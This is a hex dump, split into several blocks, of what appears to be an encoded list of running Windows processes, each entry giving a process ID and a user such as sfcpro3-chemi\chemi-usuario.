00f0  50 72 6f 63 65 73 73 00 00 00 00 3e 40 00 08 ff   Process....>@...
0100  00 00 00 0c 00 02 08 fc 00 00 00 04 00 00 00 0c   ................
0110  00 01 04 12 4e 2f 41 00 00 00 00 0f 00 01 08 fd   ....N/A.........
0120  53 79 73 74 65 6d 00 00 00 00 0f 00 01 08 fe 53   System.........S
0130  79 73 74 65 6d 00 00 00 00 42 40 00 08 ff 00 00   ystem....B@.....
0140  00 0c 00 02 08 fc 00 00 01 70 00 00 00 0c 00 01   .........p......
0150  04 12 4e 2f 41 00 00 00 00 11 00 01 08 fd 73 6d   ..N/A.........sm
0160  73 73 2e 65 78 65 00 00 00 00 11 00 01 08 fe 73   ss.exe.........s
0170  6d 73 73 2e 65 78 65 00 00 00 00 44 40 00 08 ff   mss.exe....D@...
0180  00 00 00 0c 00 02 08 fc 00 00 02 24 00 00 00 0c   ...........$....
0190  00 01 04 12 4e 2f 41 00 00 00 00 12 00 01 08 fd   ....N/A.........
01a0  63 73 72 73 73 2e 65 78 65 00 00 00 00 12 00 01   csrss.exe.......
01b0  08 fe 63 73 72 73 73 2e 65 78 65 00 00 00 00 48   ..csrss.exe....H
01c0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 02 78   @..............x
01d0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
```

```
01e0  00 01 08 fd 77 69 6e 69 6e 69 74 2e 65 78 65 00   ....wininit.exe.
01f0  00 00 00 14 00 01 08 fe 77 69 6e 69 6e 69 74 2e   ........wininit.
0200  65 78 65 00 00 00 00 4a 40 00 08 ff 00 00 00 0c   exe....J@.......
0210  00 02 08 fc 00 00 02 fc 00 00 00 0c 00 01 04 12   ................
0220  4e 2f 41 00 00 00 00 15 00 01 08 fd 73 65 72 76   N/A.........serv
0230  69 63 65 73 2e 65 78 65 00 00 00 00 15 00 01 08   ices.exe........
0240  fe 73 65 72 76 69 63 65 73 2e 65 78 65 00 00 00   .services.exe...
0250  00 44 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .D@.............
0260  03 04 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
0270  00 12 00 01 08 fd 6c 73 61 73 73 2e 65 78 65 00   ......lsass.exe.
0280  00 00 00 12 00 01 08 fe 6c 73 61 73 73 2e 65 78   ........lsass.ex
0290  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
02a0  08 fc 00 00 03 60 00 00 00 0c 00 01 04 12 4e 2f   .....`........N/
02b0  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
02c0  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
02d0  63 68 6f 73 74 2e 65 78 65 00 00 00 00 48 40 00   chost.exe....H@.
02e0  08 ff 00 00 00 0c 00 02 08 fc 00 00 03 a4 00 00   ................
02f0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14 00 01   ......N/A.......
0300  08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
0310  00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
0320  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
0330  08 fc 00 00 01 5c 00 00 00 0c 00 01 04 12 4e 2f   .....\........N/
0340  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
0350  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
0360  63 68 6f 73 74 2e 65 78 65 00 00 00 00 48 40 00   chost.exe....H@.
0370  08 ff 00 00 00 0c 00 02 08 fc 00 00 01 98 00 00   ................
0380  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14 00 01   ......N/A.......
0390  08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
03a0  00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
03b0  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
03c0  08 fc 00 00 02 74 00 00 00 0c 00 01 04 12 4e 2f   .....t........N/
03d0  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
03e0  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
03f0  63 68 6f 73 74 2e 65 78 65 00 00 00 00 48 40 00   chost.exe....H@.
0400  08 ff 00 00 00 0c 00 02 08 fc 00 00 04 24 00 00   .............$..
0410  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14 00 01   ......N/A.......
0420  08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
0430  00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
0440  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
0450  08 fc 00 00 04 64 00 00 00 0c 00 01 04 12 4e 2f   .....d........N/
0460  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
0470  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
0480  63 68 6f 73 74 2e 65 78 65 00 00 00 00 4a 40 00   chost.exe....J@.
0490  08 ff 00 00 00 0c 00 02 08 fc 00 00 04 7c 00 00   .............|..
04a0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 15 00 01   ......N/A.......
04b0  08 fd 57 55 44 46 48 6f 73 74 2e 65 78 65 00 00   ..WUDFHost.exe..
04c0  00 00 15 00 01 08 fe 57 55 44 46 48 6f 73 74 2e   .......WUDFHost.
04d0  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
04e0  00 02 08 fc 00 00 04 cc 00 00 00 0c 00 01 04 12   ................
04f0  4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76 63 68   N/A.........svch
0500  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
0510  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 48   svchost.exe....H
0520  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 05 64   @..............d
0530  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
0540  00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
0550  00 00 00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e   ........svchost.
0560  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
0570  00 02 08 fc 00 00 06 60 00 00 00 0c 00 01 04 12   .......`........
0580  4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76 63 68   N/A.........svch
0590  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
05a0  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 48   svchost.exe....H
05b0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 06 98   @...............
05c0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
05d0  00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
05e0  00 00 00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e   ........svchost.
05f0  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
0600  00 02 08 fc 00 00 07 94 00 00 00 0c 00 01 04 12   ................
0610  4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76 63 68   N/A.........svch
0620  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
0630  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 48   svchost.exe....H
0640  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 03 78   @..............x
0650  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
0660  00 01 08 fd 73 70 6f 6f 6c 73 76 2e 65 78 65 00   ....spoolsv.exe.
0670  00 00 00 14 00 01 08 fe 73 70 6f 6f 6c 73 76 2e   ........spoolsv.
0680  65 78 65 00 00 00 00 46 40 00 08 ff 00 00 00 0c   exe....F@.......
0690  00 02 08 fc 00 00 08 c4 00 00 00 0c 00 01 04 12   ................
06a0  4e 2f 41 00 00 00 00 13 00 01 08 fd 61 72 6d 73   N/A.........arms
06b0  76 63 2e 65 78 65 00 00 00 00 13 00 01 08 fe 61   vc.exe.........a
06c0  72 6d 73 76 63 2e 65 78 65 00 00 00 00 54 40 00   rmsvc.exe....T@.
06d0  08 ff 00 00 00 0c 00 02 08 fc 00 00 08 cc 00 00   ................
06e0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 1a 00 01   ......N/A.......
06f0  08 fd 6d 44 4e 53 52 65 73 70 6f 6e 64 65 72 2e   ..mDNSResponder.
0700  65 78 65 00 00 00 00 1a 00 01 08 fe 6d 44 4e 53   exe.........mDNS
0710  52 65 73 70 6f 6e 64 65 72 2e 65 78 65 00 00 00   Responder.exe...
0720  00 6a 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .j@.............
```

```
0730  08 d4 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
0740  00 25 00 01 08 fd 41 70 70 6c 65 4d 6f 62 69 6c   .%....AppleMobil
0750  65 44 65 76 69 63 65 53 65 72 76 69 63 65 2e 65   eDeviceService.e
0760  78 65 00 00 00 00 25 00 01 08 fe 41 70 70 6c 65   xe....%....Apple
0770  4d 6f 62 69 6c 65 44 65 76 69 63 65 53 65 72 76   MobileDeviceServ
0780  69 63 65 2e 65 78 65 00 00 00 00 48 40 00 08 ff   ice.exe....H@...
0790  00 00 00 0c 00 02 08 fc 00 00 09 1c 00 00 00 0c   ................
07a0  00 01 04 12 4e 2f 41 00 00 00 00 14 00 01 08 fd   ....N/A.........
07b0  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 14   svchost.exe.....
07c0  00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
07d0  00 00 00 4e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...N@...........
07e0  00 00 09 30 00 00 00 0c 00 01 04 12 4e 2f 41 00   ...0........N/A.
07f0  00 00 00 17 00 01 08 fd 63 72 65 61 74 6f 72 2d   ........creator-
0800  77 73 2e 65 78 65 00 00 00 00 17 00 01 08 fe 63   ws.exe.........c
0810  72 65 61 74 6f 72 2d 77 73 2e 65 78 65 00 00 00   reator-ws.exe...
0820  00 48 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .H@.............
0830  09 84 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
0840  00 14 00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
0850  65 00 00 00 00 14 00 01 08 fe 73 76 63 68 6f 73   e.........svchos
0860  74 2e 65 78 65 00 00 00 00 48 40 00 08 ff 00 00   t.exe....H@.....
0870  00 0c 00 02 08 fc 00 00 09 94 00 00 00 0c 00 01   ................
0880  04 12 4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76   ..N/A.........sv
0890  63 68 6f 73 74 2e 65 78 65 00 00 00 00 14 00 01   chost.exe.......
08a0  08 fe 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
08b0  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
08c0  09 9c 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
08d0  00 1f 00 01 08 fd 54 65 61 6d 56 69 65 77 65 72   ......TeamViewer
08e0  5f 53 65 72 76 69 63 65 2e 65 78 65 00 00 00 00   _Service.exe....
08f0  1f 00 01 08 fe 54 65 61 6d 56 69 65 77 65 72 5f   .....TeamViewer_
0900  53 65 72 76 69 63 65 2e 65 78 65 00 00 00 00 48   Service.exe....H
0910  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 09 a8   @...............
0920  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
0930  00 01 08 fd 4d 73 4d 70 45 6e 67 2e 65 78 65 00   ....MsMpEng.exe.
0940  00 00 00 14 00 01 08 fe 4d 73 4d 70 45 6e 67 2e   ........MsMpEng.
0950  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
0960  00 02 08 fc 00 00 09 e8 00 00 00 0c 00 01 04 12   ................
0970  4e 2f 41 00 00 00 00 14 00 01 08 fd 64 61 73 48   N/A.........dasH
0980  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
0990  64 61 73 48 6f 73 74 2e 65 78 65 00 00 00 00 56   dasHost.exe....V
09a0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 0a 90   @...............
09b0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 1b   ........N/A.....
09c0  00 01 08 fd 4d 65 6d 6f 72 79 20 43 6f 6d 70 72   ....Memory Compr
09d0  65 73 73 69 6f 6e 00 00 00 00 1b 00 01 08 fe 4d   ession.........M
09e0  65 6d 6f 72 79 20 43 6f 6d 70 72 65 73 73 69 6f   emory Compressio
09f0  6e 00 00 00 00 46 40 00 08 ff 00 00 00 0c 00 02   n....F@.........
0a00  08 fc 00 00 0e 84 00 00 00 0c 00 01 04 12 4e 2f   ..............N/
0a10  41 00 00 00 00 13 00 01 08 fd 4e 69 73 53 72 76   A.........NisSrv
0a20  2e 65 78 65 00 00 00 00 13 00 01 08 fe 4e 69 73   .exe.........Nis
0a30  53 72 76 2e 65 78 65 00 00 00 00 44 40 00 08 ff   Srv.exe....D@...
0a40  00 00 00 0c 00 02 08 fc 00 00 0e 08 00 00 00 0c   ................
0a50  00 01 04 12 4e 2f 41 00 00 00 00 12 00 01 08 fd   ....N/A.........
0a60  63 73 72 73 73 2e 65 78 65 00 00 00 00 12 00 01   csrss.exe.......
0a70  08 fe 63 73 72 73 73 2e 65 78 65 00 00 00 00 4a   ..csrss.exe....J
0a80  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 0f 60   @..............`
0a90  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 15   ........N/A.....
0aa0  00 01 08 fd 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65   ....winlogon.exe
0ab0  00 00 00 00 15 00 01 08 fe 77 69 6e 6c 6f 67 6f   .........winlogo
0ac0  6e 2e 65 78 65 00 00 00 00 40 40 00 08 ff 00 00   n.exe....@@.....
0ad0  00 0c 00 02 08 fc 00 00 05 f0 00 00 00 0c 00 01   ................
0ae0  04 12 4e 2f 41 00 00 00 00 10 00 01 08 fd 64 77   ..N/A.........dw
0af0  6d 2e 65 78 65 00 00 00 00 10 00 01 08 fe 64 77   m.exe.........dw
0b00  6d 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   m.exe....^@.....
0b10  00 0c 00 02 08 fc 00 00 0b 60 00 00 00 24 00 01   .........`...$..
0b20  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0b30  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0b40  00 13 00 01 08 fd 73 69 68 6f 73 74 2e 65 78 65   ......sihost.exe
0b50  00 00 00 00 13 00 01 08 fe 73 69 68 6f 73 74 2e   .........sihost.
0b60  65 78 65 00 00 00 00 60 40 00 08 ff 00 00 00 0c   exe....`@.......
0b70  00 02 08 fc 00 00 0d 80 00 00 00 24 00 01 04 12   ...........$....
0b80  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0b90  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 14   emi-usuario.....
0ba0  00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
0bb0  00 00 00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e   ........svchost.
0bc0  65 78 65 00 00 00 00 64 40 00 08 ff 00 00 00 0c   exe....d@.......
0bd0  00 02 08 fc 00 00 0b c0 00 00 00 24 00 01 04 12   ...........$....
0be0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0bf0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 16   emi-usuario.....
0c00  00 01 08 fd 74 61 73 6b 68 6f 73 74 77 2e 65 78   ....taskhostw.ex
0c10  65 00 00 00 00 16 00 01 08 fe 74 61 73 6b 68 6f   e.........taskho
0c20  73 74 77 2e 65 78 65 00 00 00 00 62 40 00 08 ff   stw.exe....b@...
0c30  00 00 00 0c 00 02 08 fc 00 00 05 2c 00 00 00 24   ...........,...$
0c40  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0c50  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0c60  00 00 00 15 00 01 08 fd 65 78 70 6c 6f 72 65 72   ........explorer
0c70  2e 65 78 65 00 00 00 00 15 00 01 08 fe 65 78 70   .exe.........exp
```

```
0c80  6c 6f 72 65 72 2e 65 78 65 00 00 00 00 6c 40 00   lorer.exe....l@.
0c90  08 ff 00 00 00 0c 00 02 08 fc 00 00 10 bc 00 00   ................
0ca0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0cb0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0cc0  6f 00 00 00 00 1a 00 01 08 fd 52 75 6e 74 69 6d   o.........Runtim
0cd0  65 42 72 6f 6b 65 72 2e 65 78 65 00 00 00 00 1a   eBroker.exe.....
0ce0  00 01 08 fe 52 75 6e 74 69 6d 65 42 72 6f 6b 65   ....RuntimeBroke
0cf0  72 2e 65 78 65 00 00 00 00 78 40 00 08 ff 00 00   r.exe....x@.....
0d00  00 0c 00 02 08 fc 00 00 17 c0 00 00 00 24 00 01   .............$..
0d10  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0d20  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0d30  00 20 00 01 08 fd 53 68 65 6c 6c 45 78 70 65 72   . ....ShellExper
0d40  69 65 6e 63 65 48 6f 73 74 2e 65 78 65 00 00 00   ienceHost.exe...
0d50  00 20 00 01 08 fe 53 68 65 6c 6c 45 78 70 65 72   . ....ShellExper
0d60  69 65 6e 63 65 48 6f 73 74 2e 65 78 65 00 00 00   ienceHost.exe...
0d70  00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .b@.............
0d80  16 24 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .$...$....sfcpro
0d90  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0da0  75 61 72 69 6f 00 00 00 00 15 00 01 08 fd 53 65   uario.........Se
0db0  61 72 63 68 55 49 2e 65 78 65 00 00 00 00 15 00   archUI.exe......
0dc0  01 08 fe 53 65 61 72 63 68 55 49 2e 65 78 65 00   ...SearchUI.exe.
0dd0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
0de0  00 00 18 88 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
0df0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0e00  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
0e10  54 61 62 54 69 70 2e 65 78 65 00 00 00 00 13 00   TabTip.exe......
0e20  01 08 fe 54 61 62 54 69 70 2e 65 78 65 00 00 00   ...TabTip.exe...
0e30  00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .b@.............
0e40  1a 1c 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
0e50  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0e60  75 61 72 69 6f 00 00 00 00 15 00 01 08 fd 54 61   uario.........Ta
0e70  62 54 69 70 33 32 2e 65 78 65 00 00 00 00 15 00   bTip32.exe......
0e80  01 08 fe 54 61 62 54 69 70 33 32 2e 65 78 65 00   ...TabTip32.exe.
0e90  00 00 00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...b@...........
0ea0  00 00 10 50 00 00 00 24 00 01 04 12 73 66 63 70   ...P...$....sfcp
0eb0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0ec0  75 73 75 61 72 69 6f 00 00 00 00 15 00 01 08 fd   usuario.........
0ed0  4d 53 41 53 43 75 69 4c 2e 65 78 65 00 00 00 00   MSASCuiL.exe....
0ee0  15 00 01 08 fe 4d 53 41 53 43 75 69 4c 2e 65 78   .....MSASCuiL.ex
0ef0  65 00 00 00 00 62 40 00 08 ff 00 00 00 0c 00 02   e....b@.........
0f00  08 fc 00 00 19 c8 00 00 00 24 00 01 04 12 73 66   .........$....sf
0f10  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0f20  69 2d 75 73 75 61 72 69 6f 00 00 00 00 15 00 01   i-usuario.......
0f30  08 fd 4f 6e 65 44 72 69 76 65 2e 65 78 65 00 00   ..OneDrive.exe..
0f40  00 00 15 00 01 08 fe 4f 6e 65 44 72 69 76 65 2e   .......OneDrive.
0f50  65 78 65 00 00 00 00 70 40 00 08 ff 00 00 00 0c   exe....p@.......
0f60  00 02 08 fc 00 00 0d e0 00 00 00 24 00 01 04 12   ...........$....
0f70  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0f80  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 1c   emi-usuario.....
0f90  00 01 08 fd 67 6f 6f 67 6c 65 64 72 69 76 65 73   ....googledrives
0fa0  79 6e 63 2e 65 78 65 00 00 00 00 1c 00 01 08 fe   ync.exe.........
0fb0  67 6f 6f 67 6c 65 64 72 69 76 65 73 79 6e 63 2e   googledrivesync.
0fc0  65 78 65 00 00 00 00 66 40 00 08 ff 00 00 00 0c   exe....f@.......
0fd0  00 02 08 fc 00 00 12 64 00 00 00 24 00 01 04 12   .......d...$....
0fe0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0ff0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 17   emi-usuario.....
1000  00 01 08 fd 76 73 70 64 66 70 72 73 72 76 2e 65   ....vspdfprsrv.e
1010  78 65 00 00 00 00 17 00 01 08 fe 76 73 70 64 66   xe.........vspdf
1020  70 72 73 72 76 2e 65 78 65 00 00 00 00 70 40 00   prsrv.exe....p@.
1030  08 ff 00 00 00 0c 00 02 08 fc 00 00 14 60 00 00   .............`..
1040  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1050  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1060  6f 00 00 00 00 1c 00 01 08 fd 67 6f 6f 67 6c 65   o.........google
1070  64 72 69 76 65 73 79 6e 63 2e 65 78 65 00 00 00   drivesync.exe...
1080  00 1c 00 01 08 fe 67 6f 6f 67 6c 65 64 72 69 76   ......googledriv
1090  65 73 79 6e 63 2e 65 78 65 00 00 00 00 50 40 00   esync.exe....P@.
10a0  08 ff 00 00 00 0c 00 02 08 fc 00 00 17 80 00 00   ................
10b0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 18 00 01   ......N/A.......
10c0  08 fd 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78   ..fontdrvhost.ex
10d0  65 00 00 00 00 18 00 01 08 fe 66 6f 6e 74 64 72   e.........fontdr
10e0  76 68 6f 73 74 2e 65 78 65 00 00 00 00 68 40 00   vhost.exe....h@.
10f0  08 ff 00 00 00 0c 00 02 08 fc 00 00 16 78 00 00   .............x..
1100  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1110  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1120  6f 00 00 00 00 18 00 01 08 fd 4c 6f 63 6b 41 70   o.........LockAp
1130  70 48 6f 73 74 2e 65 78 65 00 00 00 00 18 00 01   pHost.exe.......
1140  08 fe 4c 6f 63 6b 41 70 70 48 6f 73 74 2e 65 78   ..LockAppHost.ex
1150  65 00 00 00 00 7a 40 00 08 ff 00 00 00 0c 00 02   e....z@.........
1160  08 fc 00 00 0e cc 00 00 00 24 00 01 04 12 73 66   .........$....sf
1170  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
1180  69 2d 75 73 75 61 72 69 6f 00 00 00 00 21 00 01   i-usuario....!..
1190  08 fd 41 70 70 6c 69 63 61 74 69 6f 6e 46 72 61   ..ApplicationFra
11a0  6d 65 48 6f 73 74 2e 65 78 65 00 00 00 00 21 00   meHost.exe....!.
11b0  01 08 fe 41 70 70 6c 69 63 61 74 69 6f 6e 46 72   ...ApplicationFr
11c0  61 6d 65 48 6f 73 74 2e 65 78 65 00 00 00 00 5a   ameHost.exe....Z
```

```
11d0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 1d b4   @...............
11e0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 1d   ........N/A.....
11f0  00 01 08 fd 4f 66 66 69 63 65 43 6c 69 63 6b 54   ....OfficeClickT
1200  6f 52 75 6e 2e 65 78 65 00 00 00 00 1d 00 01 08   oRun.exe........
1210  fe 4f 66 66 69 63 65 43 6c 69 63 6b 54 6f 52 75   .OfficeClickToRu
1220  6e 2e 65 78 65 00 00 00 00 6a 40 00 08 ff 00 00   n.exe....j@.....
1230  00 0c 00 02 08 fc 00 00 04 98 00 00 00 24 00 01   .............$..
1240  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1250  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1260  00 19 00 01 08 fd 41 70 70 56 53 68 4e 6f 74 69   ......AppVShNoti
1270  66 79 2e 65 78 65 00 00 00 00 19 00 01 08 fe 41   fy.exe.........A
1280  70 70 56 53 68 4e 6f 74 69 66 79 2e 65 78 65 00   ppVShNotify.exe.
1290  00 00 00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...b@...........
12a0  00 00 1a 60 00 00 00 24 00 01 04 12 73 66 63 70   ...`...$....sfcp
12b0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
12c0  75 73 75 61 72 69 6f 00 00 00 00 15 00 01 08 fd   usuario.........
12d0  4f 4e 45 4e 4f 54 45 4d 2e 45 58 45 00 00 00 00   ONENOTEM.EXE....
12e0  15 00 01 08 fe 4f 4e 45 4e 4f 54 45 4d 2e 45 58   .....ONENOTEM.EX
12f0  45 00 00 00 00 54 40 00 08 ff 00 00 00 0c 00 02   E....T@.........
1300  08 fc 00 00 1a 34 00 00 00 0c 00 01 04 12 4e 2f   .....4........N/
1310  41 00 00 00 00 1a 00 01 08 fd 53 65 61 72 63 68   A.........Search
1320  49 6e 64 65 78 65 72 2e 65 78 65 00 00 00 00 1a   Indexer.exe.....
1330  00 01 08 fe 53 65 61 72 63 68 49 6e 64 65 78 65   ....SearchIndexe
1340  72 2e 65 78 65 00 00 00 00 64 40 00 08 ff 00 00   r.exe....d@.....
1350  00 0c 00 02 08 fc 00 00 1c bc 00 00 00 24 00 01   .............$..
1360  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1370  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1380  00 16 00 01 08 fd 53 6b 79 70 65 48 6f 73 74 2e   ......SkypeHost.
1390  65 78 65 00 00 00 00 16 00 01 08 fe 53 6b 79 70   exe.........Skyp
13a0  65 48 6f 73 74 2e 65 78 65 00 00 00 00 4a 40 00   eHost.exe....J@.
13b0  08 ff 00 00 00 0c 00 02 08 fc 00 00 18 60 00 00   .............`..
13c0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 15 00 01   ......N/A.......
13d0  08 fd 4d 70 43 6d 64 52 75 6e 2e 65 78 65 00 00   ..MpCmdRun.exe..
13e0  00 00 15 00 01 08 fe 4d 70 43 6d 64 52 75 6e 2e   .......MpCmdRun.
13f0  65 78 65 00 00 00 00 66 40 00 08 ff 00 00 00 0c   exe....f@.......
1400  00 02 08 fc 00 00 0f 04 00 00 00 24 00 01 04 12   ...........$....
1410  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1420  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 17   emi-usuario.....
1430  00 01 08 fd 56 69 72 74 75 61 6c 42 6f 78 2e 65   ....VirtualBox.e
1440  78 65 00 00 00 00 17 00 01 08 fe 56 69 72 74 75   xe.........Virtu
1450  61 6c 42 6f 78 2e 65 78 65 00 00 00 00 60 40 00   alBox.exe....`@.
1460  08 ff 00 00 00 0c 00 02 08 fc 00 00 12 40 00 00   .............@..
1470  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1480  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1490  6f 00 00 00 00 14 00 01 08 fd 56 42 6f 78 53 56   o.........VBoxSV
14a0  43 2e 65 78 65 00 00 00 00 14 00 01 08 fe 56 42   C.exe.........VB
